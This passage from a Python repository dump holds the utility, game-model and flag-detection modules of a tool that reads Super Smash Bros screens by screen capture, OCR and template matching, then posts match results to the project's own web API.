cv2.waitKey(0)\n\n\ndef game_color():\n game = smash_game.Game()\n game.player_count = 4\n img = Image.open(os.path.join('captures', '0001.3.FIGHT_START.png'))\n for edge in ut.COORDS['GAME']['PLAYER']['INFO'][game.player_count]:\n color_coords = list(ut.COORDS['GAME']['PLAYER']['COLOR'])\n color_coords[0] = edge - color_coords[0]\n color_coords[2] = edge - color_coords[2]\n crop = img.crop(color_coords)\n print(ut.match_color(pixel=crop, mode='GAME'))\n\n\n\nif __name__ == '__main__':\n #ocr_test()\n #fight_tester()\n #test_game_data()\n #test_stencil()\n #fight_tester()\n game_color()\n pass\n" }, { "alpha_fraction": 0.46779105067253113, "alphanum_fraction": 0.513699471950531, "avg_line_length": 28.646209716796875, "blob_id": "4ddcb80a90df41fcfe216744675ebae9e63c5e2f", "content_id": "f8f908949185304ab3792448790c532a785a2a00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16424, "license_type": "no_license", "max_line_length": 97, "num_lines": 554, "path": "/smash_reader/smash_utility.py", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "import cv2\nfrom datetime import datetime\nimport json\nfrom logger import log_exception\nimport matplotlib.pyplot as plt\nimport mss\nimport numpy as np\nfrom PIL import Image, ImageChops, ImageDraw\nimport pytesseract\nimport random\nimport requests\nfrom skimage.measure import compare_ssim\nimport string\nimport subprocess\nimport os\nimport sys\nimport time\n\nsys.excepthook = log_exception\n\n\noutput = True\ndef _print(*args, **kwargs):\n if output:\n args = list(args)\n args.insert(0, '<Utility>')\n print(*args, **kwargs)\n\nBASE_DIR = os.path.realpath(os.path.dirname(__file__))\nTEMPLATES_DIR = os.path.join(BASE_DIR, 'templates')\n\noverride_path = os.path.join(BASE_DIR, 'index.txt')\nif os.path.isfile(override_path):\n with open(override_path, 'r') as infile:\n MONITOR_INDEX = int(infile.read())\nelse:\n MONITOR_INDEX = 1\n\nCOORDS = {\n 'LOBBY': {\n 'BASIC_ID': (145, 32, 321, 70),\n 'FLAGS_ID': (394, 291, 1525, 433),\n 'CARDS_ID': (671, 152, 1247, 188),\n 'GAME_INFO': (302, 217, 1443, 253),\n 'CHARACTER_TEMPLATE': (144, 126, 206, 218),\n 'CARDS_SLICE_IDS': (0, 877, 1920, 878),\n 'CARDS_SLICE_COLORS': (0, 813, 1920, 814),\n 'PLAYER': {\n 'TEAM_COLOR': (17, 458, 18, 459),\n 'CHARACTER_NAME': (0, 367, 396, 430),\n 'NAME': (129, 436, 389, 475),\n 'NUMBER': (37, 441, 82, 471),\n 'GSP': (131, 490, 384, 526)\n }\n },\n 'GAME': {\n 'TIMER_PREGAME': (1722, 61, 1798, 89),\n 'TIMER_VISIBLE': (1703, 63, 1715, 95),\n 'TIMER_MILLI': (\n (1823, 70, 1831, 92),\n (1850, 70, 1858, 92)\n ),\n 'TIMER_MINUTE': (1675, 54, 1686, 91),\n 'TIMES_UP': (465, 299, 1451, 409),\n 'SUDDEN_DEATH': (340, 172, 1602, 345),\n 'END_ID': (411, 462, 1481, 522),\n 'PLAYER': {\n 'INFO': {\n 2: (712, 1451),\n 3: (457, 1081, 1705),\n 4: (491, 899, 1307, 1715)\n },\n 'STOCK_TEMPLATE': (223, 1045, 221, 1059),\n 'CHARACTER_TEMPLATE': (272, 950, 242, 1020),\n 'NAME': (182, 1007, 0, 1025),\n 'COLOR': (5, 1003, 4, 1004)\n }\n },\n 'FINAL': {\n 'ID': (\n (468, 49, 550, 296),\n (204, 388, 286, 635)\n ),\n 'ID2': (1825, 0, 1864, 73),\n 'VICTORY_TEAM': (745, 870, 833, 978),\n 'VICTORY_PLAYER': (125, 168, 126, 169),\n '2ND_PLACE': (525, 982, 526, 983),\n '2ND_PLACE_2_PLAYER': (690, 984, 691, 985),\n '3RD_PLACE': (1072, 1003, 1073, 1004),\n '4TH_PLACE': (1492, 1013, 1493, 1014)\n },\n 'MENU': {\n 'FAILED_TO_PLAY_REPLAY': (724, 408, 1185, 485),\n 'SPECTATE_SELECTED': (979, 458, 1586, 606)\n }\n}\n\nCOLORS = {\n 'CARDS':{\n 'RED': (250, 52, 52),\n 'BLUE': (43, 137, 253),\n 'YELLOW': (248, 182, 16),\n 'GREEN': (35, 179, 73)\n },\n 'GAME': {\n 'RED': (255, 42, 40),\n 'BLUE': (31, 141 ,255),\n 'YELLOW': (255, 203, 0),\n 'GREEN': (22, 193, 64)\n },\n 'RESULTS': {\n 'RED': (240, 159, 163),\n 'BLUE': (125, 206, 254),\n 'YELLOW': (255, 244, 89),\n 'GREEN': (141, 212, 114)\n }\n}\n\nfolders = [f for f in os.listdir(TEMPLATES_DIR) if os.path.isdir(os.path.join(TEMPLATES_DIR, f))]\nTEMPLATES = {f.upper():{} for f in folders}\nfor root, dirs, files in os.walk(TEMPLATES_DIR, topdown=False):\n for file in files:\n path = os.path.join(root, file)\n name = os.path.splitext(file)[0]\n _type = os.path.split(root)[1].upper()\n if _type in TEMPLATES:\n TEMPLATES[_type][name] = Image.open(path)\n else:\n TEMPLATES[_type] = {name: Image.open(path)}\n\n\ndef save_settings(settings):\n lines = [f'{k}={v}' for k, v in settings.items()]\n open('settings.txt', 'w+').write('\\n'.join(lines))\n\n\ndef load_settings():\n path = os.path.join(BASE_DIR, 'settings.txt')\n if os.path.isfile(path):\n lines = open(path, 'r').read().splitlines()\n settings = {}\n for line in lines:\n k, v = line.split('=')\n settings[k] = v\n else:\n key_path = os.path.join(BASE_DIR, 'key.txt')\n key = ''\n if os.path.isfile(key_path):\n key = open(key_path, 'r').read().splitlines()[0]\n os.remove(key_path)\n settings = {\n 'API_KEY': key,\n 'POST_URL': 'https://www.smashbet.net/reader_post/',\n 'AUTO_START_WATCHER': 'true'\n }\n save_settings(settings)\n return settings\n\n\nSETTINGS = load_settings()\n\n\n#####################################################################\n############################# DECORATORS ############################\n#####################################################################\n\ndef time_this(func):\n def wrapper(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n duration = end_time - start_time\n dur_str = '{:.2f}'.format(duration)\n _print(f'function: {func.__name__}() executed in {dur_str} seconds')\n return result\n return wrapper\n\n\n# Make sure function runs at least as long as the set interval\ndef pad_time(interval):\n def outer(func):\n def inner(*args, **kwargs):\n start_time = time.time()\n result = func(*args, **kwargs)\n end_time = time.time()\n duration = end_time - start_time\n delta = interval - duration\n if delta > 0:\n # print(f'padding {delta} seconds')\n time.sleep(delta)\n else:\n # print(f'detection has fallen behind by [{\"{:.2f}\".format(delta)}] seconds')\n pass\n return result\n return inner\n return outer\n\n\n\n\n#####################################################################\n########################## IMAGE CAPTURING ##########################\n#####################################################################\n\n\ndef save_frames(vid_path, framerate=None):\n print('saving template in 5 seconds')\n time.sleep(5)\n vid_cap = cv2.VideoCapture(vid_path)\n success = True\n frame_index = 0\n while success:\n vid_cap.set(cv2.CAP_PROP_POS_FRAMES, frame_index)\n success, image = vid_cap.read()\n _print(f'Read frame {frame_index}: ', success)\n cv2.imwrite(f'frame{frame_index}.png', image) # save frame as JPEG file\n frame_index += 30\n\n\n# @time_this\ndef capture_screen(monitor_index=MONITOR_INDEX):\n with mss.mss() as sct:\n monitor_count = len(sct.monitors)\n if monitor_index > monitor_count:\n monitor_index = monitor_count\n monitor = sct.monitors[monitor_index]\n sct_img = sct.grab(monitor)\n pil_img = Image.frombytes('RGB', sct_img.size, sct_img.bgra, 'raw', 'BGRX')\n return pil_img\n\n\ndef capture_cards_id():\n coords = COORDS['LOBBY']['CARDS_ID']\n cap = capture_screen()\n crop = cap.crop(coords)\n if 'CARDS_ID' in TEMPLATES['LOBBY']:\n del TEMPLATES['LOBBY']['CARDS_ID']\n crop.save(os.path.join(TEMPLATES_DIR, 'lobby', 'CARDS_ID.png'))\n TEMPLATES['LOBBY']['CARDS_ID'] = crop\n\n\n#####################################################################\n########################## IMAGE PROCESSING #########################\n#####################################################################\n\n\ndef read_image(image, config_type='basic'):\n configs = {\n 'basic': '--psm 6 --oem 3',\n 'gsp': '--psm 8 --oem 3 -c tessedit_char_whitelist=0123456789,',\n 'player_number': '--psm 8 --oem 3 -c tessedit_char_whitelist=p1234'\n }\n text = pytesseract.image_to_string(image, config=configs[config_type])\n return text\n\n\ndef convert_to_bw(pil_img, threshold=127, inv=True):\n cv_img = np.array(pil_img)\n try:\n img_gray = cv2.cvtColor(cv_img, cv2.COLOR_BGR2GRAY)\n if inv:\n method = cv2.THRESH_BINARY_INV\n else:\n method = cv2.THRESH_BINARY\n thresh, array_bw = cv2.threshold(img_gray, threshold, 255, method)\n pil_bw = Image.fromarray(array_bw)\n\n return pil_bw, array_bw\n except cv2.error:\n return pil_img, cv_img\n\n\ndef find_most_similar(sample, templates, thresh=0):\n high_sim = ['', 0]\n for template_name in templates:\n sim = avg_sim(sample, templates[template_name])\n if sim > high_sim[1]:\n high_sim = [template_name, sim]\n if thresh and sim > thresh:\n return high_sim\n return high_sim\n\n\ndef compare_chops(sample, template, true_color=False):\n if sample.size == template.size:\n copy1 = sample.resize((64, 64))\n copy2 = template.resize((64, 64))\n\n if not true_color:\n copy1, arr1 = convert_to_bw(copy1)\n copy2, arr2 = convert_to_bw(copy2)\n\n diff = ImageChops.difference(copy1, copy2)\n arr = np.asarray(diff)\n total = 0\n different = 0\n for row in arr:\n for pixel in row:\n total += 1\n if isinstance(pixel, (int, np.uint8)):\n if pixel == 255:\n different += 1\n else:\n for color in pixel:\n different += (color / 255)\n sim = ((1 - (different/total)) * 100)\n return sim\n return 0\n\n\ndef compare_skim(sample, template, true_color=False):\n if sample.size == template.size:\n copy1 = sample.resize((64, 64))\n copy2 = sample.resize((64, 64))\n\n if not true_color:\n try:\n sample = cv2.cvtColor(np.array(sample), cv2.COLOR_BGR2GRAY)\n except cv2.error:\n sample = np.array(sample)\n try:\n template = cv2.cvtColor(np.array(template), cv2.COLOR_BGR2GRAY)\n except cv2.error:\n template = np.array(template)\n # Image is already b&w\n\n sim, diff = compare_ssim(sample, template, full=True, multichannel=True)\n return sim * 100\n return 0\n\n\ndef area_sim(cap, screen, area):\n template = TEMPLATES[screen][area]\n coords = COORDS[screen][area]\n if not isinstance(coords[0], (list, tuple)):\n coords = [coords]\n high_sim = 0\n for coord in coords:\n crop = cap.crop(coord)\n sim = avg_sim(crop, template)\n if sim > high_sim:\n high_sim = sim\n return high_sim\n\n\ndef avg_sim(sample, template, true_color=False):\n comp_funcs = (compare_chops, compare_skim)\n sims = [comp_func(sample, template, true_color) for comp_func in comp_funcs]\n avg = sum(sims) / len(sims)\n return avg\n\n\ndef match_color(pixel=None, arr=[], mode=None):\n best_match = ('', 0)\n if not mode:\n _print('mode required for color match')\n return best_match\n if pixel:\n sample = [rgb for row in np.asarray(pixel) for rgb in row][0]\n elif any(arr):\n sample = arr\n else:\n _print('no sample')\n return best_match\n colors = COLORS[mode]\n for color_name in colors:\n diff = 0\n for sv, tv in zip(sample, colors[color_name]):\n diff += abs(sv - tv)\n sim = 100 - ((diff / 765) * 100)\n if sim > best_match[1]:\n best_match = (color_name, sim)\n return best_match\n\n\ndef stencil(crop):\n w_pil, w_arr = convert_to_bw(crop, 254, inv=False)\n b_pil, _ = convert_to_bw(crop, 1, inv=False)\n b_fil = b_pil.copy()\n fill_border(b_fil)\n b_arr = np.array(b_fil)\n result = []\n for r1, r2 in zip(w_arr, b_arr):\n r = []\n for p1, p2 in zip(r1, r2):\n if int(p1) and int(p2):\n r.append(0)\n else:\n r.append(255)\n result.append(r)\n arr = np.array(result)\n img = Image.fromarray(arr.astype('uint8'))\n imgs = [crop, w_pil, b_pil, b_fil, img]\n return imgs\n\n\ndef fill_border(img):\n while True:\n arr = np.array(img)\n row_count = len(arr)\n for row_i, row in enumerate(arr):\n col_count = len(row)\n for p_i, p in enumerate(row):\n if int(p):\n if row_i == 0 or row_i == row_count \\\n or p_i == 0 or p_i == col_count:\n ImageDraw.floodfill(img, (p_i, row_i), 0)\n continue\n break\n\n\n\ndef filter_color(image, color):\n color = np.uint8([[color]])\n hsv = cv2.cvtColor(color, cv2.COLOR_RGB2HSV)\n darker = np.array([hsv[0][0][0] - 10, 50, 50])\n lighter = np.array([hsv[0][0][0] + 10, 360, 360])\n image = np.asarray(image)\n hsv = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n mask = cv2.inRange(hsv, darker, lighter)\n result = cv2.bitwise_and(image, image, mask=mask)\n return result\n\n\ndef filter_color2(img, coords):\n arr = np.array(img)\n x, y = coords\n pixel = list(arr[y][x])\n result = []\n for row in arr:\n r = []\n for p in row:\n if list(p) == pixel:\n r.append(255)\n else:\n r.append(0)\n result.append(r)\n return result\n\n\ndef rgb_to_hex(rgb):\n return '#%02x%02x%02x' % rgb\n\n\n#####################################################################\n################################ MISC ###############################\n#####################################################################\n\n\ndef simplify_players(game):\n players = []\n for team in game['teams']:\n color = team['color']\n for player in team['players']:\n keys = list(player.keys())\n for key in keys:\n if not player[key]:\n del player[key]\n if 'character_name' in player:\n player['character_name'] = player['character_name'].title()\n player['color'] = color\n players.append(player)\n return players\n\n\n\ndef filter_game_data(game, mode):\n simple_game = {'reader_mode': mode}\n if mode == 1:\n simple_game['players'] = simplify_players(game)\n simple_game['map'] = game['map']\n simple_game['team_mode'] = game['team_mode']\n simple_game['game_mode'] = game['mode']\n simple_game['cancelled'] = game['cancelled']\n if mode == 2:\n if not game['team_mode']:\n simple_game['colors_changed'] = game['colors_changed']\n if game['colors_changed']:\n for team in game['teams']:\n simple_game['players'] = simplify_players(game)\n if mode == 3:\n simple_game['start_time'] = -1\n if mode == 4:\n simple_game['end_time'] = -1\n if mode == 5:\n simple_game['winning_team'] = game['winning_color']\n return simple_game\n\n\ndef post_data(data={}):\n key = SETTINGS['API_KEY']\n URL = SETTINGS['POST_URL']\n DATA = {\n 'API_KEY': key,\n 'data': data\n }\n try:\n r = requests.post(url=URL, json=DATA)\n return r\n except requests.exceptions.ConnectionError:\n print('Unable to reach REST API')\n return None\n\n\ndef dump_image_data(arr):\n filepath = os.path.join(BASE_DIR, 'img_dump.json')\n if os.path.isfile(filepath):\n with open(filepath, 'r') as infile:\n data = json.load(infile)\n else:\n data = []\n data.append({time.time(): arr})\n with open(filepath, 'w+') as outfile:\n json.dump(data, outfile)\n\n\ndef clear_console():\n try:\n none = os.system('cls')\n except:\n pass\n try:\n none = os.system('clear')\n except:\n pass\n\n\ndef save_game_data(game):\n data = load_game_data()\n data.append(game)\n with open('games.json', 'w+') as outfile:\n json.dump(data, outfile, separators=(',',':'))\n\n\ndef load_game_data():\n path = os.path.join(BASE_DIR, 'games.json')\n if os.path.isfile(path):\n try:\n with open(path, 'r') as infile:\n return json.load(infile)\n except json.decoder.JSONDecodeError:\n pass\n return []\n\n\ndef send_command(btn):\n _print('PRESS', btn)\n os.system(f'PIGPIO_ADDR=raspberrypi.local python3 /home/badgerlord/Desktop/{btn}.py')\n\n\ndef random_str(l=10):\n \"\"\"Generate a random string of letters, digits and special characters \"\"\"\n password_characters = string.ascii_letters + string.digits\n return ''.join(random.choice(password_characters) for i in range(l))\n" }, { "alpha_fraction": 0.5232172012329102, "alphanum_fraction": 0.5307717323303223, "avg_line_length": 35.64677810668945, "blob_id": "4478d80d38464f0acdeb7b1ec67c571b9a8751ae", "content_id": "3620b1d9c2bb81c9239481a770fa90e524e5ca0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15356, "license_type": "no_license", "max_line_length": 106, "num_lines": 419, "path": "/smash_reader/smash_game.py", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "import copy\nimport difflib\nimport json\nfrom logger import log_exception\nimport numpy as np\nimport os\nfrom PIL import Image\nimport re\nimport smash_utility as ut\nimport sys\nimport threading\nimport time\n\nsys.excepthook = log_exception\n\n\ncharacter_name_debugging_enabled = False\n\noutput = True\ndef _print(*args, **kwargs):\n if output:\n args = list(args)\n args.insert(0, '<Game>')\n print(*args, **kwargs)\n\n\nCARD_WIDTH = 398\nSTOCK_SPACING = 26\n\nwith open('fighter_list.json', 'r') as infile:\n CHARACTER_NAMES = json.load(infile)\nCHARACTER_NAMES = [name.lower() for name in CHARACTER_NAMES]\n\nBASE_DIR = os.path.realpath(os.path.dirname(__file__))\n\nCHARACTER_NAME_FIXES = {\n 'lemmy': 'lenny',\n 'lemmv': 'lenny'\n}\n\nMAP_NAME_FIXES = {\n 'Figure-S': 'Figure-8',\n 'HiII': 'Hill'\n}\n\n\nclass ImageProcessor(threading.Thread):\n def __init__(self):\n pass\n\n\nclass Player:\n def __init__(self):\n self.player_name_image = []\n self.character_name = ''\n self.number = 0\n self.gsp = 0\n self.stock_template_image = []\n self.stock_count = 0\n\n\n def serialize(self, images_bool=True):\n _copy = copy.copy(self)\n img = _copy.player_name_image.tolist()\n for i, row in enumerate(img):\n img[i] = [int(bool(pixel)) for pixel in img[i]]\n if not images_bool:\n _copy.player_name_image = None\n _copy.stock_template_image = None\n else:\n if len(_copy.player_name_image):\n _copy.player_name_image = _copy.player_name_image.tolist()\n if len(_copy.stock_template_image):\n _copy.stock_template_image = _copy.stock_template_image.tolist()\n return _copy.__dict__\n\n\n def read_card(self, card):\n self.get_character_name(card)\n self.crop_player_name(card)\n self.read_number(card)\n self.read_gsp(card)\n\n\n # @ut.time_this\n def get_character_name(self, card):\n crop = card.crop(ut.COORDS['LOBBY']['PLAYER']['CHARACTER_NAME'])\n pils = ut.stencil(crop)\n pil = pils[-1]\n template_name, sim = ut.find_most_similar(pil, ut.TEMPLATES['CHARACTER_NAMES'])\n if sim > 95:\n self.character_name = re.match('(.+)(-\\d*)', template_name).group(1)\n else:\n name_as_read = ut.read_image(pil).lower()\n if name_as_read in CHARACTER_NAME_FIXES:\n name_as_read = CHARACTER_NAME_FIXES[name_as_read]\n name = difflib.get_close_matches(name_as_read, CHARACTER_NAMES, n=1)\n if len(name):\n name = name[0]\n if character_name_debugging_enabled:\n _template_name, _sim = ut.find_most_similar(pil, ut.TEMPLATES['CHARACTER_NAMES_DUMP'])\n if _sim < 99:\n num = 1\n for _name in ut.TEMPLATES['CHARACTER_NAMES_DUMP']:\n _print(name, _name)\n if name in _name:\n num += 1\n filename = f'{name}-{num}.png'\n path = os.path.join(BASE_DIR, 'templates', 'character_names_dump', filename)\n pil.save(path)\n self.character_name = name\n else:\n self.character_name = '...'\n template, sim = ut.find_most_similar(pil, ut.TEMPLATES['CHARACTER_NAMES'], thresh=95)\n if sim >= 95:\n self.character_name = template.split('-')[0]\n else:\n template, sim = ut.find_most_similar(pil, ut.TEMPLATES['UNREADABLE'], thresh=95)\n if sim < 95:\n nums = list(ut.TEMPLATES['UNREADABLE'].keys())\n if len(nums):\n nums.sort(key=lambda num: int(num), reverse=True)\n num = int(nums[0]) + 1\n else:\n num = 1\n filename = f'{num}.png'\n ut.TEMPLATES['UNREADABLE'][num] = pil\n pil.save(os.path.join(ut.TEMPLATES_DIR, 'unreadable', filename))\n _print(f'{name_as_read.rjust(30)} --> {self.character_name}')\n if False:\n for i, img in enumerate(pils):\n img.save(f'misc/character_names/{self.character_name}-{i}.png')\n\n\n # @ut.time_this\n def crop_player_name(self, card):\n crop = card.crop(ut.COORDS['LOBBY']['PLAYER']['NAME'])\n img, self.player_name_image = ut.convert_to_bw(crop, 120, False)\n\n\n # @ut.time_this\n def read_number(self, card):\n crop = card.crop(ut.COORDS['LOBBY']['PLAYER']['NUMBER'])\n # crop.save(f'{time.time()}.png')\n templates = {t:ut.TEMPLATES['LOBBY'][t] for t in ut.TEMPLATES['LOBBY'] if re.match('P\\d+', t)}\n template_name, sim = ut.find_most_similar(crop, templates)\n num = int(os.path.splitext(template_name)[0].split('P')[1])\n # pil, arr = convert_to_bw(crop, 1, False)\n # num = read_image(pil, 'player_number')[-1]\n # self.number = int(num)\n self.number = num\n\n\n # @ut.time_this\n def read_gsp(self, card):\n crop = card.crop(ut.COORDS['LOBBY']['PLAYER']['GSP'])\n text = ut.read_image(crop, 'gsp')\n self.gsp = int(text.replace(',', ''))\n\n\nclass Team:\n def __init__(self, color):\n self.color = color\n self.players = []\n self.gsp_total = 0\n self.placement = ''\n\n\n def serialize(self, images_bool=True):\n players = [player.serialize(images_bool) for player in self.players]\n _copy = copy.copy(self)\n _copy.players = players\n return _copy.__dict__\n\n\n def add_player(self, player):\n self.players.append(player)\n self.gsp_total += player.gsp\n\n\nclass Game:\n def __init__(self, num=1):\n self.number = num\n self.mode = ''\n self.map = ''\n self.team_mode = False\n self.teams = []\n self.player_count = 0\n self.winning_color = ''\n self.start_time = 0\n self.duration = 0\n self.cancelled = ''\n self.colors_changed = False\n\n\n def serialize(self, images_bool=True):\n teams = [team.serialize(images_bool) for team in self.teams]\n _copy = copy.copy(self)\n _copy.teams = teams\n return _copy.__dict__\n\n\n def load(self, data):\n self.__dict__.update(data)\n\n\n def read_card_screen(self, card_screen):\n self.read_basic_info(card_screen)\n self.read_cards(card_screen)\n\n\n @ut.time_this\n def read_basic_info(self, screen):\n crop = screen.crop(ut.COORDS['LOBBY']['GAME_INFO'])\n text = ut.read_image(crop)\n splits = text.split(' / ')\n self.mode = splits[0]\n self.map = splits[1]\n for map_str in MAP_NAME_FIXES:\n if map_str in self.map:\n self.map.replace(map_str, MAP_NAME_FIXES[map_str])\n\n @ut.time_this\n def read_cards(self, screen):\n # screen.save('screen.png')\n id_slice = screen.crop(ut.COORDS['LOBBY']['CARDS_SLICE_IDS'])\n pil, cv = ut.convert_to_bw(id_slice, threshold=220, inv=False)\n # pil.save('slice.png')\n color_slice = screen.crop(ut.COORDS['LOBBY']['CARDS_SLICE_COLORS'])\n id_arr = np.asarray(pil)\n color_arr = np.asarray(color_slice)\n players = []\n skip = 0\n id_pixels = [p for row in id_arr for p in row]\n color_pixels = [p for row in color_arr for p in row]\n players = []\n for i, id_pixel in enumerate(id_pixels):\n if skip:\n skip -= 1\n elif id_pixel == 255:\n card_boundary = (i - 62, 375, i + 341, 913)\n crop = screen.crop(card_boundary)\n color = ut.match_color(arr=color_pixels[i - 5], mode='CARDS')[0]\n\n player = Player()\n player.read_card(crop)\n if player.character_name == '...':\n _print('GAME CANCELLED DUE TO UNREADABLE CHARACTER NAME')\n self.cancelled = 'UNREADABLE_CHARACTER_NAME'\n ut.send_command('b')\n else:\n players.append(player.character_name)\n self.player_count += 1\n\n team = next((t for t in self.teams if t.color == color), None)\n if not team:\n team = Team(color)\n self.teams.append(team)\n team.add_player(player)\n\n skip = 340\n if len(self.teams) == 2 and self.player_count > 2:\n self.team_mode = True\n elif len(set(players)) < len(players):\n _print('GAME CANCELLED DUE TO DUPLICATE CHARACTER IN FFA')\n self.cancelled = 'DUPLICATE_CHARACTER'\n ut.send_command('b')\n\n\n def read_start_screen(self, screen):\n time.sleep(1)\n screen = ut.capture_screen()\n if not self.team_mode and not self.cancelled:\n self.colors_changed = self.fix_colors(screen)\n if self.mode == 'Stock':\n # self.get_stock_templates(screen)\n pass\n elif self.mode == 'Time':\n pass\n elif self.mode == 'Stamina':\n pass\n else:\n _print(f'unknown mode: {self.mode}')\n\n\n # @ut.time_this\n def get_stock_templates(self, screen):\n stocks = []\n for edge in ut.COORDS['GAME']['PLAYER']['INFO'][self.player_count]:\n stock_template_coords = list(ut.COORDS['GAME']['PLAYER']['STOCK_TEMPLATE'])\n stock_template_coords[0] = edge - stock_template_coords[0]\n stock_template_coords[2] = edge - stock_template_coords[2]\n template = screen.crop(stock_template_coords)\n player_stock_count = 1\n while True:\n stock_template_coords[0] += STOCK_SPACING\n stock_template_coords[2] += STOCK_SPACING\n crop = screen.crop(stock_template_coords)\n sim = ut.avg_sim(crop, template)\n if sim > 95:\n player_stock_count += 1\n else:\n break\n\n\n def fix_colors(self, screen):\n info = self.get_character_details_game(screen)\n players = [player for team in self.teams for player in team.players]\n _players = copy.copy(players)\n _teams = []\n _print('Fixing colors:')\n for i, character_info in enumerate(info):\n name, color = character_info\n player = next((p for p in players if p.character_name == name), None)\n team = Team(color)\n team.add_player(player)\n _teams.append(team)\n _print(f'\\t{team.color} - {player.character_name}')\n for team in self.teams:\n color = team.color\n character_name = team.players[0].character_name\n _team = next((t for t in _teams if t.color == color), None)\n if not _team or _team.players[0].character_name != character_name:\n self.teams = _teams\n return True\n return False\n\n\n def get_character_templates_lobby(self, screen):\n characters = []\n for edge in ut.COORDS['GAME']['PLAYER']['INFO'][self.player_count]:\n char_template_coords = list(ut.COORDS['GAME']['PLAYER']['CHARACTER_TEMPLATE'])\n char_template_coords[0] = edge - char_template_coords[0]\n char_template_coords[2] = edge - char_template_coords[2]\n template = screen.crop(char_template_coords)\n template.save(f'{time.time()}.png')\n\n\n def get_character_templates_game(self, screen):\n characters = []\n for edge in ut.COORDS['GAME']['PLAYER']['INFO'][self.player_count]:\n char_template_coords = list(ut.COORDS['GAME']['PLAYER']['CHARACTER_TEMPLAT'])\n char_template_coords[0] = edge - char_template_coords[0]\n char_template_coords[2] = edge - char_template_coords[2]\n template = screen.crop(char_template_coords)\n template.save(f'{time.time()}.png')\n\n\n def get_character_details_game(self, screen):\n info = []\n rerun = True\n while rerun:\n for edge in ut.COORDS['GAME']['PLAYER']['INFO'][self.player_count]:\n color_coords = list(ut.COORDS['GAME']['PLAYER']['COLOR'])\n color_coords[0] = edge - color_coords[0]\n color_coords[2] = edge - color_coords[2]\n color_pixel = screen.crop(color_coords)\n color, _ = ut.match_color(pixel=color_pixel, mode='GAME')\n char_template_coords = list(ut.COORDS['GAME']['PLAYER']['NAME'])\n char_template_coords[0] = edge - char_template_coords[0]\n char_template_coords[2] = edge - char_template_coords[2]\n template = screen.crop(char_template_coords)\n bw, _ = ut.convert_to_bw(template)\n name_as_read = ut.read_image(bw).lower()\n if name_as_read:\n rerun = False\n if name_as_read in CHARACTER_NAME_FIXES:\n name_as_read = CHARACTER_NAME_FIXES[name_as_read]\n name = difflib.get_close_matches(name_as_read, CHARACTER_NAMES, n=1)\n if len(name):\n _print(f'{name_as_read.rjust(30)} --> {name}')\n info.append((name[0], color))\n else:\n trainer_names = ['squirtle', 'charizard', 'ivysaur']\n name = difflib.get_close_matches(name_as_read, trainer_names, n=1)\n if len(name):\n info.append(('pokémon trainer', color))\n else:\n _print(f'Can\\'t read <{name_as_read}>')\n # template.show()\n # template.save(f'{time.time()}.png')\n else:\n _print(f'Can\\'t read <{name_as_read}>')\n return info\n\n\n def wait_for_go(self):\n coords = ut.COORDS['GAME']['']\n template = ut.TEMPLATES['IDS']['FIGHT_START']\n screen = ut.capture_screen()\n crop = screen.crop(coords)\n while ut.avg_sim(crop, template) > 85:\n screen = ut.capture_screen()\n crop = screen.crop(coords)\n time.sleep(0.1)\n self.start_time = time.time()\n\n\n def read_end_screen(self, screen):\n pass\n\n\n def read_results_screen(self, screen):\n if self.team_mode:\n coords = ut.COORDS['FINAL']['VICTORY_TEAM']\n templates = ut.TEMPLATES['FINAL']\n crop = screen.crop(coords)\n sim_template = ut.find_most_similar(crop, templates)\n color = sim_template[0].split('_')[0]\n self.winning_color = color\n _print(self.winning_color)\n else:\n coords = ut.COORDS['FINAL']\n first_place_pixel = screen.crop(coords['VICTORY_PLAYER'])\n self.winning_color, sim = ut.match_color(pixel=first_place_pixel, mode='RESULTS')\n _print(self.winning_color)\n team = next((t for t in self.teams if t.color == self.winning_color), None)\n team.placement = '1st'\n # print(self.serialize())\n" }, { "alpha_fraction": 0.4392722547054291, "alphanum_fraction": 0.47697100043296814, "avg_line_length": 29.054187774658203, "blob_id": "9f2001364d939edb757d025f3a268c05f19569e2", "content_id": "4e93f7954e6ecf8ef8aac6a5712661bd049e9c55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6101, "license_type": "no_license", "max_line_length": 99, "num_lines": 203, "path": "/smash_reader/flags.py", "repo_name": "badgerlordy/smash-bros-reader", "src_encoding": "UTF-8", "text": "import cv2\nimport datetime\nimport numpy as np\nimport os\n#import pytesseract as pyt\nimport time\n\nfrom datetime import datetime\nfrom PIL import Image, ImageGrab, ImageDraw, ImageChops\n\n\nCOORDS = {\n 'lobby-flag-screen-id': (379, 281, 1534, 445),\n 'lobby-flag-screen-player-markers': (70, 820, 1800, 821),\n 'flag-areas': (\n [(763, 528, 1156, 792)],\n [(472, 531, 857, 788), (1062, 531, 1447, 788)],\n [(327, 531, 682, 768), (782, 531, 1137, 768), (1237, 531, 1592, 768)],\n [(273, 540, 582, 745), (627, 540, 936, 745), (981, 540, 1290, 745), (1335, 540, 1644, 745)]\n )\n}\n\nHOME_DIR = os.path.dirname(os.path.realpath(__file__))\nFLAG_DIR = os.path.join(HOME_DIR, 'flags')\n\n\n###########################################################\n########################### Main ##########################\n###########################################################\n\n\ndef main():\n print('Starting')\n flags_dir = os.path.join(HOME_DIR, 'flags')\n if not os.path.isdir(flags_dir):\n os.mkdir(flags_dir)\n flag_list = []\n for root, dirs, files in os.walk(flags_dir):\n for name in files:\n folder_index = int(os.path.split(root)[1])\n if folder_index == len(flag_list):\n flag_list.append([name])\n else:\n flag_list[folder_index].append(name)\n cooldown = 0\n notif = False\n while True:\n if cooldown:\n cooldown -= 1\n time.sleep(1)\n elif is_flag_screen():\n notif = False\n print('Flag screen detected')\n img = ImageGrab.grab()\n img.save(os.path.join(HOME_DIR, 'screen.jpg'))\n flags = []\n cooldown = 20\n count = count_markers()\n if count > 0:\n count -= 1\n flag_areas = COORDS['flag-areas'][count]\n for i, area in enumerate(flag_areas):\n flag = read_flag(i, area)\n if not flags:\n flags.append(flag)\n else:\n if not any([image_similarity(flag, _flag) for _flag in flags]):\n flags.append(flag)\n for flag in flags:\n name = new_flag(flag, flag_list)\n if name:\n print(f'New flag: {name}')\n else:\n if not notif:\n 